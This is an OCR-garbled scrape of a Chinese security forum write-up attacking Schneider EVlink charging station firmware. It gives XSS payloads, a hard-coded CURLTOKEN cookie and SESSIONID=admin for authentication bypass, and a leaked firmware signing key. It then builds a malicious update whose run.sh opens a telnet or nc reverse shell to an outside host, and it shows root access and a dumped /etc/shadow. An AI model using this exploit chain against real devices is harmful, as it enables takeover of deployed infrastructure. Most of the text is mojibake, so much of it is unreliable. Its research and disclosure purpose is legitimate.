2021/8/4 AT 22 BT A DX - 2 e A B 24 i

ST LZEHAEX — FEM 1S5S EARRIRZHE < Ik

TLZERBHIX — MRS BAEREZHE < Ak

KR4, HRE BaCde, SKFiR—1% 2020 FRE I HEME T BRI RIRIZTES
. WXIZR&ERSEN VBT nELER /R AR MR Root MR shell SREX
(—#miz Rootshell 3XEY) . EACETSE 7 B+ T ARMENK

CVE &=,

RZKREF, HE BaCde, SRR —1% 2020 F/RET N HEM 2 78 BRI IE
B, WXIZREEASIN T BT nELEA- R EH = I Root fXUER shell SREX
(—H2Ix?2 Rootshell 3REX) . BEHCETSE 7 Aty fmimE+h T URMER AT

CVE %®5.

0x01 A+ A RIZFTEMT7E?

ERNEBRENZEMRF, TEREIEAEBRMODERANE D, BELIRRTRNE
58X, mARMNLZNERE, EEBEREIIRNREE RIS —T 0,
N7 BB E RN MBEE T VT EEiER, BREEABWREL. BHEFR ML
ME_EAUALE) BN EBERENRIR. palNNEEMN. 5250 shill

L. Rl R A SEBRAYRIM,

IRIEEMBET NG EXRERER, RLKETERRMIE. BN, MiiEsthe
CVE E7HY CNA ZIERA, IRIZNIFEPIMIRE CVE RS,

0x02 BIFRE

HRE T EMRIONER, & FRMBRHE — FRAIERLIA AFR0RER .. X UER
ADITIREPRIGRE, MEBEHR. BIRREW T

1. WAEIRENRE Root MR
2. THBER, THERE
RIE LRSEREENAAMEIHLESSHTmE, B RCE £EFE,

https://forum.butian.net/share/357 1/18



2021/8/4

BT LA TR A DX - it T 1 7 A I8 2 ik
0x03 [ EUNEE
SR, FHARIIRREEY k.

555, Bl NEbit
https://www.se.com/ww/en/download/document/MFR4341700/
(https://www.se.com/ww/en/download/document/MFR4341700/) , T#E&E

(GE8

SR N HRISRMRBIRAN 3.3.012, BHFXHH: MFR4341700.zip, BI&TT
BB, AR,

BIEZE zip Bfa, TENHRBE2—TEREBN epk WXHE, B file iQ
., AIELN tar BT,

file r7_update_3.3.0.12_d4.epk
I\ tar xf r7_update_3.3.0.12_d4.epk BIPIWEME LTS, 2 IR SEF:

r7_update_3.3.0.12_d4.epk: POSIX tar archive (GNU)

B] DAEEIE —LE shell BIA. bin . [E488, img X435 BE, pJDAAE
EU R FE BN evse_b ase_jffs2.img ] uImage.parkingboard_v2_1 , (£
binwalk X34 TIR5, PJ%0 uImage.parkingboard_v2_1 N ulmage X4, A
A ex20008000 , arm A cpu, WIZARASR linux—4.4.14,

total 58968

H evse_b ase_jffs2.img X2 JFFS2 filesystem, little endian, BRI 24N, 9
FIME—EXHZHEH—LEER, NLIEZE ATo1sAMIc20 , X PAMEZEE
BT ARMO26EJ-S 41223, BIHINERY 400MHz, rIBAREH bootstrap X
%, u-boot HITMEEE.

il X u-boot_env-bspv5p5.bin

00000000h: AA ; €f2bootdelay=1. :
00000010h: 64 ; baudrate=115200.
00000020h: 61 ; ethaddr=12:34:56

00000030h: 3A ; :78:90:aa.ipaddr
00000040h: 32 ; =192.168.0.199.s
00000050h: 65 ; erverip=192.168.
00000060h: 33 ; 0.131.netmask=25!
00000070h: 35 ; 5.255.255.0.stdi
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2021/8/4 AT 22 BT A DX - 2 e A B 24 i

E ; n=serial. ut=§
00000090h: ; serial.stderr=sef
000000a0dh: ; rial.bootargs=me
000000b0Oh: ; m=128M console=t
000000c0h: ; tyS@,115200 .boo
000000d0h: ; tcmd=nand read.j

000000e0h: ; ffs2 0x21100000
000000T0h: ; 0x00280000 0x005
00000100h: ; AF9CD; bootm 0x2
00000110h: ; 1100000
0NeON120h: H

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
171e283eb9f8c634a560fc92261808d74ddf9071.png)

FIh, MEEEZE L5 shell BIZAF B Ao AR 0 X514,

8 -rw-r--r--@ 1 aliceclaudia staff 688 5 29 2020 CONTROL

MTD devide

Backup File

i
Bootstrap I
Uboot-env

Uimage

Evse Library & Appliation

. . e .. aitstn i conklball o s s e il

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
8362d09b39835aff79ee3471031a608f0d7d121d.png)

SH{ER binwalk f2 uImage XEF] evse b ase_jffs2.img SAE. BILABRIRG T
1%, 5458, web B, K#E. HEIHAEZEANES, BF /etc/shadow XM, &
IR ARIZ shab12 B9 unix 283, ST EMRE, SRR,
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A GO R B 7 R 2 i
BT DATRR LR SRR, P AR E EZA S AR / mnt /R,

16 -rwxr-xr-x@ 1 aliceclaudia staff 7.4K 5 29 2020 at91sam9g2@ek-bootstra
p-3.6.11-201612.bin

£ web BIEFET, EAR report THEEAL, FIUBRIRGNEEERE. HE. W
LWRITm O . NED ip S ER, IREFAEOZAE 22, 80, 502, 1500-
1504, Ae]ABENZASFEREIN—LEF IR, 20 mini_httpd, liomodbus,

sqlite %,

EVlink

Configuration SO CTe AV EGEREICLIS Charge Data Record Maintenance

‘ 1 Open Source Components

[ =] |
curl-7.21.2 MIT/X
iniparser—3.1 MIT
libsha?2 BSD Original
mini_httpd GPL
opkg-=0.1.8 GNU GPL V2
sglite—autoconf-3071201 Public domain
libmodbus-2.1.0 LGPL V2.1+
busybox-1.17.3 GPL V2

[TV SRR S S S

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
4d4e4691006d5359dd8d4bb3407e47a8a9358681.png)

0x04 jfwilE{Z

EFRAOM

ZRAREEENM, BANBFRBREAIEE B HRMEANTIASHETER, &

ERERBEIE R, BRBRNNE sq JEAN, REESEEKLY SQL £

AN, (NEMT RSB xss ®id. EARRRAF, FIAAXHEERE. HREET
BT / cgi-bin/cgiserver # worker A LEHME, 2B E, HIUE
SREIR worker ZHERENENF, FESBIIE, MMSHFE xss wiE.

3.3.0.12 ZRiAYRIRR A payload

http://target/cgi—bin/cgiServer?worker=";p (http://target/cgi—bin/cgiServer?
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2021/8/4 A AT T Ak X - i 7 7 AT I T 42 0 2 il
worker=%22;p) rompt(1);//

M 3.3.012 fJRAFITHE worker SRNG5S #H1T 7 AME, SHIEAE
M EF A, BREEEREN, NF—L lang SEEEHRITIIE, SEIFAE xss,.
BIMEEFENEHTINL T IA LT, xss BX Mo BEE. BHTEER
&, REBEIREMEN,

3.3.0.12 hRZA K AR hRZS

http://target/cgi—bin/cgiServer?worker=Login&lang=%22;a
(http://target/cgi—bin/cgiServer?worker=Login&lang=%22;a) lert(1);//

IS ESES

8 -rw-r--r--@ 1 aliceclaudia staff 2.0K 5 29 2020 bspv5_target_pre-update
_S cript.sh

xss iAZTT A M B IRER BN, XG0T,

IDA BFE D

EDITERESR, BT IDA7.2 A345 32 (20 fCRBEMINEE. &EEFER
E IDA 7.0 IR E#HIT O,

INE coiserver 2% (SUHESIRAL / mnt/datas/opt/www/cgi-bin/) , BAIAIEIN
BIA], £ start RREL, =14 F5 BRI, £RLMIN., B positive sp
value has been found , HT B[RRI T4 sp N7, BARINET:

1. BIFI LI EHEDN, & options—————>General -

>Disassembly, 1%£#¥ stack pointer

2. X IR G BBKEILEEM 10c WS, PIMEBERIR T AE, BRENLE
—17 altek , SONKRTME, IR FO IREERREDA,

NSRBI ARTIRIRO DT 7. BIh, EE(ERA IDA7.5 DT AMFE L

TE4R18AY token

FIF 8 view———>0pen subviews———>strings, St A& — N 246 —Lx
BIFRE, SR BUER strings a8 < KIREL,

FERFEROSD, FHERINEEINIEER password, token, username ki
18, B TEERINRTUFEUE.
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2021/8/4 BT LA B A DX T i 7 A s TR 42 9 2 iR
TR, PTUAEEIARD snprintf(ss, 0x32u, "%s called (", "instance");
AR A, P UENhZIeER AN, RIBEXEZE RN EBRMNTR
£, BBA %s MBIZRBIEAF .

int sub_165D4()
1
int v8; // r4
char s[64]; // [sp+l4h] [bp-4@h] BYRE

- ‘_‘d

if { dword_2DAESC &8 *(int *)dword_2DAEGC > 4 )

1
snprintf(s, ®x32u, "¥s called (", K
5,

sub_1C7848(
(int)"INFO ",

fint)"../../../../src/webserver/cgiserver/../. . /ocpp/OcppContigFile.Jepp”,

58,

(int)off_2DSCFC[@],

(int})s,

(int)")Nn™,

byte 23CE2C);

M. el . b e i, ool e andii.

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
f46dad832209422955d4¢9c56900acf896b2b070.png)

FIHEEIER %s called ( , AEEBHOIZREBNRNZ, REZRIINER, U
B MENHRIURBATER R MR T, RFEERMZF LR n Bl #HITES, B
R fa, X EE DA SR ER],
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Address Length Type  String

‘s’ .rodata:0023C... 0000000C C %s called (

[s] .rodata:0023E32... 0000000C C %s called (

‘s’ .rodata:0023ED... 0000000C C %s called (

‘s’ .rodata:0023F2... 0000000C C %s called (

IE rodata:002423...  0000000C C %s called (

IE rodata:002426F8 0000000C C %s called (

‘s’ .rodata:002424A... 0000000C C %s called (

E rodata:002420... 0000000C C %s called (

‘s’ .rodata:002430... 0000000C C %s called (

‘s’ .rodata:002431... 0000000C C %s called (

[5] .rodata:002437... 00O0D00OC C %s called (

‘s’ .rodata:00243C... 0000000C C %s called (

‘s’ .rodata:00244F... 0000000C C %s called (

IE rodata:002452...  0000000C C %s called (

‘s’ .rodata:002457... 0000000C C %s called (

‘s’ .rodata:002461... 0000000C C %s called ( ;

E rodata:002462... 0000000C C %s called (

‘s’ .rodata:002468F0 0000000C C %s called (

[s] .rodata:00246E... 0000000C C %s called (

[5] .rodata:00246F... 00O0D0OOC C %s called (

‘s’ .rodata:002476... 0000000C C %s called (

‘s’ .rodata:002480F8 0000000C C %s called (

IE rodata:002483... 0000000C C %s called (

‘s’ .rodata:00248B6... 0000000C C %s called (

‘s’ .rodata:002494... 0000000C C %s called (

E rodata:002490... 0000000C C %s called (

‘s’ .rodata:0024A3... 0000000C C %s called (

[s] .rodata:0024A5... 0000000C C %s called (

‘s’ .rodata:0024AF... 0000000C C %s called ( 1

[5] rodata:002488... 0000000C C %s called ( ]

® | %z ecalled
{
L

e el o e ettt nns e . . ... . el

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
26dafaad74abf37dbed90dd645412¢3df0109a9.png)

B EERRS, TRRERNHITIESE, AENERLHTON, BB TEIME
T AME session FQUFAICADER, EfUADTE treatRequestInternal REIA, MEF
B IUAE H E2AMBREIE R,

https://forum.butian.net/share/357 7/18


https://shs3.b.qianxin.com/attack_forum/2021/07/attach-26dafaa474abf37dbed90dd6454f12c3df0109a9.png
https://shs3.b.qianxin.com/attack_forum/2021/07/attach-52898632a5dd72c81ec12088445d50682f357fb7.png

2021/8/4 HF 2 AF T Ak X - i 7 AR IR T2 4 2 ik

157 snprintf(s, @x32u, "#s called (", "treatRequestInternal”);
158 al = sub_1C7A48(
159 5,
168 (int)"INFO ™,
1 (int)"../ ../ .. ../ S sro/webserver/cgiServer/cgi/CGIENtryWorkerList. cpp™,
2 658,
3 (int)off_20s5De4[e],
4 (int)s,
5 (int)™)\n",
& byte 23E7E4);

}

168 w151 = sub_199B8C({a1);

169 w56 = @;

178

172

173| std::allocator<char>::allocator(vs7);

17 std::istring: :string(vss, byte_23E7E4, v57);
1 std::allecator<char>::~allocator(vs?);
std::allecator<char>::allocator(vsa);
std::string: strlng(.BL, "SESSIONID™, v59);

J
1 b

=
o
79

P

17 get_coockies(vs4, vsa); !/ vS4=cookies["SESSIONID"]
17 std::string: i~string((std:istring *)vsa);

188| std::allocator<chars::~allecator({vsd);

181| std::allocator<chars: allocatnr( 61);

182| std::string: strlng( 68, "SESSIONTOKEN", w&l);

183| get_cookies(vsS3, ved); !/ w53=cookies["SESSIONTOKEN"]
184| std::string: ~str1ng((a d::string *)vea);

185| std::allocator<char>::~allocator{vel);

186| std::allocator<char>::allocator(ve3);

187| std::string::string(ve2, "CURLTOKEN", vG63);

188| get_cookies(v52, v62); // v52=cookies["CURLTOKEN"]
189 std::string: wstrlng((;—d :string *)vel);

QR

:~allocator(ve3);

o —— e a e i an et . . o

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
52898632a5dd72c81ec12088445d50682f357fh7.png)

] LB ENZREE JTIRE T 13K 1Y cookie 1B, E1FE SESSIONID.
SESSIONTOKEN. CURLTOKEN, & e, s&kI—7HMox, Hf—
N EHB cookie Ry CURLTOKEN E8FT— 1 EENFHE, HIISis
& VIE3 TEH 1,

e I

3e@| else if ( (unsigned _ intB)std::string::empty (s ek RESAR R

381 &% !std::string::compare((std::string *)Et "b35f- aBlBlcSa“)I)
382

383 i@ operator=(v50, "curl"); 1. compare CURL_TOKEN
3@4 L 2. Uerlfcatlon Passed Slgn

385 ring: :empt 54

306 std: strlng roperato

387 else

388 std::string: :operator=(v55, v54);

3e9| 1
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18| else

ctd:

HF 2 AF T Ak X - i 7 AR IR T2 4 2 ik

rstring::strin

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
3c25d0e522e5df90dd4a2ce441c30791278a164d.png)

ERE e MRS, BIh—

N ZNRBMFEEPIREN login F password S#, 4
JE{ER TestPassword BT 2%, MINEIRE vI63 TER 1,

miE 1fC Y

HMEL/T Loginok, BIEFMINFAE, MAIXBHMERS FAYIMTEBREEN

MR, BT NXAIH VvISS TEER 1 BBIT ARG,
34 std::string: i~string((std::string *)vBe);
i5 std::string:i~string((std:istring *)va?);
6 std::allecator<chars::allecator(voR); ;
37 std::string::string(vid, "login®™, wvo@); 1
I8 v1l5 = (const std::string *)sub_2@87e@8(v45 + 12, v39);
EE] std::string: :string((std::string *)v83, wvl5};
e std::string::string((std::string *)v91, (const std::string *)v49);
1 wvlg = TestPassword({vE3, wil};
12 std::string: i~string((std::string *)vol);
13 std::string: :~string((std::string *)v38);
e std::string: i~string((std::string *)via);
15 std::allocator<char:::~allocator(vog);
16 if ( wls )
18 if ( dword_2DAF34 &% *(int *)dword_2DAF34 > 4 )
19 write_log( i
3@ s,
3l (int)"INFO ",
32 (int)"../ .. .. .. /. /srcfwebserver/cgiServer/cgl/CGIEntryorkerList. cpp”,
33 789,
3 (int)off_20s064[@],
35 (in:jhyte_23E?E4* '
36 ( nt)} "y {
a7 TE:"PE:—; word QK" :IJI
38 ; tor=(v58, "loginOK™); 1
29
3@ flars: allocator( 95} ; 1
3l std strlng strlng( 4, "login®™, v95);
32 = (const std::s ’na “Ysub_287ea(v4s + 12, vod); {
33 std rstring: strlng{(:-d"::'ing *YW93, wl7); !
L std::string: strlng((; d..rt'ing *Iva6, (const std::istring *)v4d}; i
35 CreateSessionID{vo voE, B); 1
6 std::string: Dperatur (loginid, w92}; !
37 std::string::mstring((ztd::r:':na “Ywaz);
5] I i i) i o e it st

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
af046270514d0c498da4970442bccceff30e0b28.png)

I RIS, BI AR IR RO token, EAEIE RS F CURLTOKEN B[
BT I, 12 NSRBI web 24 N, 7E cookie A b

CURLTOKN=b35fcdcleals**a@131c5a , (r=H|H

R EI A —TimE, &WE

2/ You are not connected with sufficient privilege worker :SelectTabsModel
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2021/8/4 2 2 R K- M HUBE 2002 B

user :evse MUEHIR, APAXEFEFINT TR, R AT LEABAIUERR
evse XIS, EEAIMAES vbb TE, EIRAX cookie FAY SESSIONID, 1X
MOEFA TR DIIER, #3E SESSIONID=admin, ENP]SuI Y RIAINE, LI TE
BILH T web RENEIR, BBEEEHE T, XBE—1EI? AothEREE
TheeRS, FBEA T HER, 31T report B, HAEHEIHEARZRAENR
|, meEimfA curl SRIREW, FrAIY CURLTOKEN, XFSH T IXMRIEN
(==

admin | Logout | English | Usermanual | Abo

Status Report Control Passwords

Firmware update )

Installed versions
@ Electronic board Commissioning tool RFID reader
140 3300-12 3300-12 1300

Upgrade firmware
Select a package to install

[ | womsmscer

eeeeeeeeeeeeeeeeeeeeeeeeeeeee

Name ass Value ires / ... | Size HittpOnly ecu
CURLTOKEN b35fedc \31c5a / Session 42 Medium
SESSIONID admin / Session 14 Medium

@
Z
S
S
5
&
&
o
g
5
o
]
8
o
ki
<]
o
3
o
I
3
3
1]
3
]
?
3
g
g

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
9e6dbe7f897d3b2ba40dcf0e83fbf2f164be7279.png)

AR EIT B SRR SHAT

B7 LENREM A AHITFZERRARIE, XERTUMNAIHREERI T
B, BITIRER x KIIHEA execv, RB 4 A, 3 EZHEPT Install
MREF, BERERIL, BFREEETEELN, wIRNTNEE T, BREEEHR
FRYH, RIMEH THSEER setenv BB TIMBELTE, TERNZFH
EPK_KEY,
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if ( sltd':-:str‘ing::length((;td::at’ing J(v22 4+ 4)) > 4u )
{
VS o= w22+ 45
v6 = std::string: length(( d
. h—1ni e hif-rr’r’ 4. e o
I if ( !std::string: compar‘e(( d string *)v38, “.epk"™) || !std::string::compare((std::string *)v3B, ".epz") I

1
V28

1. Check upload file suffix

rrn*' ‘datas/opt/evse/epk-install.sh"

=N
S @ ®

v[e] =
argv[l
1'F ( w21 <= 3 )

v8 = byte 24ESFB;
else
v8 = "--force-downgrade™;

setenv("EPK_KEY", "67acdb2bces?6. _fc874bab784a0a36964", 1); I

2. set the env varliable EPK_KEY

/9 = off_2D5DAB[8];
10 = getpid();

R L I B N B R R - -
R I R O e I R I R S R R e R I e |

11 = getppid();
write_log(
9 5,
9 (int)"DEBUG"
9 (int)"../. ._’ oo/ sre/webserver/cgiServer fworkers/firmware/Installer.cpp”,
93 89,
94 (int)vo
95 (int )byte 24E5F8,
96 (int)"\n", |
97 "CHILD : Execv OPKG-CL (PID = %d PPID = %d) ",
93 v1@,
99 v11); 3. execute "epk-install.sh EPK_KEY", the file in file evse_base_jffs2.img
2
108 3
1e1 I execv(”/mnt/datas/opt/evse/epk-install.sh”, argv); I
0005836C4 Install:96 (936C4)

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
c5f63d173de5b3813e3d1dde50812¢2098f199¢b.png)

NEAT /mnt/datas/opt/evse/epk-install.sh NXAF, FHENEIRIERE epk, KN

Z7E Install, REBEFREGFEX S T . NRFATAIDAEIE B SHIBIHN
B, LEEEXHLE, BBARAURILRFRIES T,

\Y

XEB AL epk-install.sh M, KT % epk BUAME R, £ evse_jffs2 b
ase.img HUBRERAHE] T IX P4,

B ENEAE R A 7T REIERAE, SREVEARSNER, RBIMNELZEFHY EPK_KEY
NHE%E private_key , 74 F#Jﬁfﬁ ENXH B EEFE, FAEMBESEEE—
[EETSC e, 3 R private_key 5 AR NG SEEA, SXTEZ R

private , IRIEXPDFITELE— sha256sum HIES AZE] conTROL2 X 1FH, tE
2 CONTROL #1 CONTROL2 AR, , WERE—5, 4T run.sh SXF, £28]

BI=MBRIE private SX1F,
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v if [[ "$EPK_KEY" != ""

private key=$EPK KEY
v else
private key=%2
fi

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
Obffc7e9c501b0fe3b72e5a755df0c448d692816.png)

echo $private key > private

find . -type f | grep -v CONTROL | xargs sha256sum | awk ‘{print $1}' | sort | sha256sum > ../CONTROL2
my ../UUNIRULL .
rm private

if [[ ""di
LdiL U

abort "K(
fi

if [[ ! -f run.s

abort “KO, mis
fi

.frun.sh $paramsrun
ret=%?

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
084f62913dd3452e94a3c8d8306cefae589f4dad.png)

AT+ CONTROL XA EEH, XMErRAHITEALNDRERSRE, XEBEFE
VAR <BIRI AR, A run.sh XHOEAETRERN, XEEREHR
run.sh XHFRRBRNBANIBECHGS, XEMITUSMERGSHITT . =E1E
A tar cf ap<FTBRIR], EMEHEIPTRRA.,
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1 #!/bin/bash
2 telnet > 1234 | /bin/bash | telnet HNENEENNEENE’0 12345

1 67acdb2bce. L - s oan~’ 70420336964

<
1 iot@ubuntu: ~/Desktop/Schneider/output

] $ find . -type f | grep -v CONTROL | xargs
sha256sum | awk '{print $1}' | sort | sha256sum >CONTROL

$ cat CONTROL
366(6884571bb411365de9793409119421bf502f8027a203844c1729a1706f92

S chmod +x run.sh

$ rm -rf private

S ;ar cf ../r7_update_3.3.0.12_d4.epk ./

¢

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
f0d3a1042d4ef6a4395bdc23d6ce7e9bc45d228e.png)

REBOITRVLS E)\}iﬁi shell (AR L2l run.sh XA, 16 EEBFIEIHF,

%45 shell m . BRRERE, KWT, XErIGFE/LMPIER:

1. AR, B8 EEME;
2. [23% shell BYAFS LI,

NFB—Hh, FABSCN curl BRI, ERMINAIT, AN ZEIB.

EVlink Generate Collaborator payloads
Number to generate: 1 Copy to clipboard | @ Include Collaborator server location

'“/) guration I\E,L, gy Management I\?)‘r; rge Data Record ]Mam(enance l
Poll Collaborator interactions

Pollevery 1 seconds | Poll now
- # A Time Type Payload Comment
1 2020-+=A-07 12:41:42UTC DNS 3gktfoc1vlyS1ry7yj3aljo9ff73w

Status Report Control Passwords | Firmware upda

stalled versions | [[Description | NS query |

@ Electronic board
140 3300-12

The Collaborator server received a DNS lookup of type A for the domain name
y 1j09ff73w. net.

The lookup was received from IP addres IESSN020-...-07 12:41:42 UTC.

Upgrade firmware

Select a package to install

[ MBS | 17_update_3.3.0.12_dd.epk [ Install | [ Reboot A

https://forum.butian.net/share/357

Estimated time: 2 min
|
013"
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Socket-outlet — IP# 140: Operation completed, please check after reboot that the soft has been correctly updated

OK : 1/1 Please restart to co upgrade proce; res|

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
7t5958023aba33cd947fd89d36d8ch2d896380ff.png)

LI [0)ER, (BB SR T, BHRAERYS 5 shell apiiinl, BT LA A TVRIN

fa, &=ZE1J telnet ip portl | /bin/bash | telnet ip port2 AYIN5%H, EEH

ﬁ/l\)i§$5’\]ﬁf$$ﬁz?zﬂﬁﬂﬁﬁ/l\ﬁﬁﬂ, w1 ERNERAGS, WO 2 MEE
EIEE . él,\\\f)zfpﬁﬁ/]/mﬁq:‘ PREPJUND, B2 ENERZSHH L
AYim ERERINAYIE )T, 1B2IX E/HFW\K, PJDABI N nc ip port3 —e /bin/bash
58 E Eim .,

nin | Logout | Englst Listening on [0.0.0.0] (family @, port 12345)

Connection 34594 received!

T [ ainicnance L

Status Report Control Passwords | Firmware update a2c63d0d5aad5aad—

i
cat /etc/shadow

@ ic board C issioning tool RFID reader
125 3200-11 3200-11 1300

Select a package to install 45.77.107.120

root@vultri~# nc -lvp 1234
XA | 17_update_3.3.0.12_d4.epk Listening on [0.0.0.0] (family @, port 1234)

Install : Install in progress... Connection 37326 received!
uid=0(root) gid=d(root) groups=d(root),10(wheel)
root
Foot: $68hC2ATVRLUKLFFEESSLNGEIMLTLLAKUNFrY gDV TOZON]B/ . PtS
0'49" bHC3nbDBtIHMrcNFgYXUXI6]ZGggyJ0u77721/:10933:0:99999: 7:
daenon: x: 10933 0:99999:7:::
)

Estimated time: 2 min

rces Network Performance Memory Application X ecurit)
® % [0 Only show cookies with an issue

Value

jame al
SESSIONID admin ]
CURLTOKEN b35fcdr a0131... ...

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
f1654614c139f6adf8743615be8029d40f8602de.png)

—4§2 root ZimARZASTF &

S EMNEE, JUSENLTHEERNRZGSHIT. EEBRBAGS, #L
i R, RS — Rk B st A

FIAMEST B, linux /Z{%/}b, {ER python BY requests FERIERAASEEN, BEEA,
EXE (4 B RIS E RS HATEY epk X, FIF requests B post FiAA
NS AEK.,
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= UNNESE

HF 2 AF T Ak X - i 7 AR IR T2 4 2 ik

Write reverse shell to "run.sh” file

Y

chmod +x run.sh

Y

Generate signed CONTROL file

Y

Build the epk file

v

Get the internal IP of target

.

Send upgrade request

s

Reverse shell

End

;..nn.LJJM_“L_‘lhnu-hdllliII.l.ulIlIh_ulll..hI.I.IlII.I.IHIJ

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach-

0e15ae5b078b0e82740ed436670bf0d3152b64€09.png)

BUEME, &IER url B812A /cgi-bin/cgiServer?

worker=FileDispatcher&nextWorker=FirmwareUpgrade&finalWorker=FirmwareUpgrade&fi

nalIp=Aipihit&treatOnlyThisStation=yes&uploading=true&longProcessing=true
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XEMNW ip Hht, BESER 127.0.00 Bk, B2, AUXETT. BXIN

BT, X pf@iﬁju B1J15(0) /cgi-bin/cgiServer?
worker=FirmwareUpgradeForm ;E%%%%o ﬁ%ﬁﬁlEMU%EIEftﬁ%HYEUEJO

o

GET /cgi-bin/cgiServeruorker=F irmiarelpgradeForm HTTP/1.1
Host: 192.168.1.168

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 11_0 1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/s
87.9.664.41

Accept-Encoding: gzip, deflate

Accept: text/htnl,application/xhtnlexl,application/xnl;q=0.9,image/webp,inage/apng, */*;q-0.8, application/signed-exchange; v=b3;
Connection: keep-alive

8 2.044932 192.168.1.168 192.168.1.10 Referer: http://192.168.1.168/cgi-bin/cgiServer orker=FirmarelUpgradeForm

9 2.674746 192.168.1.168 192.168.1.10 joriEing (i I 2- i

10 2.674791 192.168.1.10 192.168.1.168 Cache-Control: max-age-9
Upgrade-Insecure-Requests: 1

41.368626
5 1.368807

192.168.1.1@
192.168.1.1@

192.168.1.168
192.168.1.168

11 2.805866 192.168.1.168 192.168.1.10 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8, en-GB;q=0.7, en-US;q=0.6
12 2.80597 192.168.1.10 192.168.1.168 Cookie: CURLTOKEN=b35fcdcleal2?le6dd126e172a0131c5a; LANG=en; SESSIONID=admin
13 2.924884 192.168.1.168 192.168.1.10
14 2.924915 192.168.1.10 192.168.1.168 patcher”;
15 2.964835 192.168.1.168 192.168.1.10 Locs="Bnexthiorker=Firmuarellpgrade”;
P loci="&inallionken=Fi
Frame 15: 747 bytes on wire (5976 bits), 747 bytes captured (5| i“:i &?”:{If’ui?ffg?ifﬁi ] FirmwareUpgradeForm needs this ip

Ethernet IT, Src: fe:00:03:3c:7a:50 (fe:00:03:3c:7a:50), Dst: | | loci="Buploading=true”;

Internet Protocol Version 4, Src: 192.168.1.168, Dst: 192.168.| | loc+="&masterkey=true";

Transmission Control Protocol, Src Port: 8@, Dst Port: 56368, | | var form - document.getElementById("uploadForn™);
Hypertext Transfer Protocol forn.target ="hiddenIframe”;

forn.action = loc;

forn. submit();

function rebootPlugs() {

clearIframe(’hiddenIframe’);hideReboot();

document. getELementById("waitingUploadDiv') .innerHTML="Reboot in progress...";
loc = ~icgl binligl )

loc+="8localIP-192.168.1.168"; |

Tocr="EEreatOnly ThisStation=yes"s

window. frames[ "hiddenIframe"] .document. location. href=loc;

56 80 @3 3c 7a 50 fe 00 B3 3c 7a 50 08 @0 45 @@ V. .<zP

©2 dd fd 8a 40 8@ 30 06 <7 ©d CO a8 @1 a8 O af @0

©1 82 @@ 50 dc 28 92 19 ee 50 e@ 36 6 69 80 18 P(
2030 @7 c7 a7 d4 @0 0@ @1 01 ©3 9a 16 f1 1f 4a d7 ce

59 14 72 28 66 69 6c 65 6e 61 6d 65 2e 6c 65 6e  Y-r(fil

67 74 68 20 2d 20 65 78 74 4570 7a 2e 6c 65 be  gth - &

Ffunction checkForExt()
{

var extIpk=
var extEpk=
var extEpz=".epz

var sxtMastsr‘ksy- masterkey”;
var file

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
8a713bf513dcbfd2d0fdfdfd1debf5898fcdd00c.png)

XN @R E, XHRITEINEH, %ﬁ%tfgg{wo RHAT . BEINEI DT,
I EE burp MMAYEA] regeusts RIXRIELHITNEL, £I/DT content—
typ:application/octet—stream, Eﬁiﬁ%iﬁﬂ?%%%%{%o XEEET files =
{'fichier': ('r7_update_3.3.0.12_d4.epk',open('r7_update_3.3.0.12_d4.epk"',
'rb'),"application/octet-stream")} FIREIMAIAT o

0x05 iR
AR
1T BTHEFME,

2. RSB EWRNINES . REMNE, N TIARSE, BUXNE P ik
T, AARII—EMSE A I k.

AEENFIAAT
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2021/8/4 B2 U Ak DX - i TR 8 7 AR 35 TR 45 9 2 e

1. SAREHTEIERE, 2 fuzzing BIBEXT A ZE G AR IN?

2. EHIBE, ERIRERNE

0x06 iR &t

miE&EIE, E—NEERAmNEE R B. F52E BahE5HH, /
#udik:  https://download.schneider—electric.com/files?p_Doc_Ref=SEVD-
2021-194-06, (https://download.schneider—electric.com/files?
p_Doc_Ref=SEVD-2021-194-06%E3%80%82)
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0x07 B4

EREIEA TRURRZARANRANE R T, BLIMRDFIRKIZREE. H
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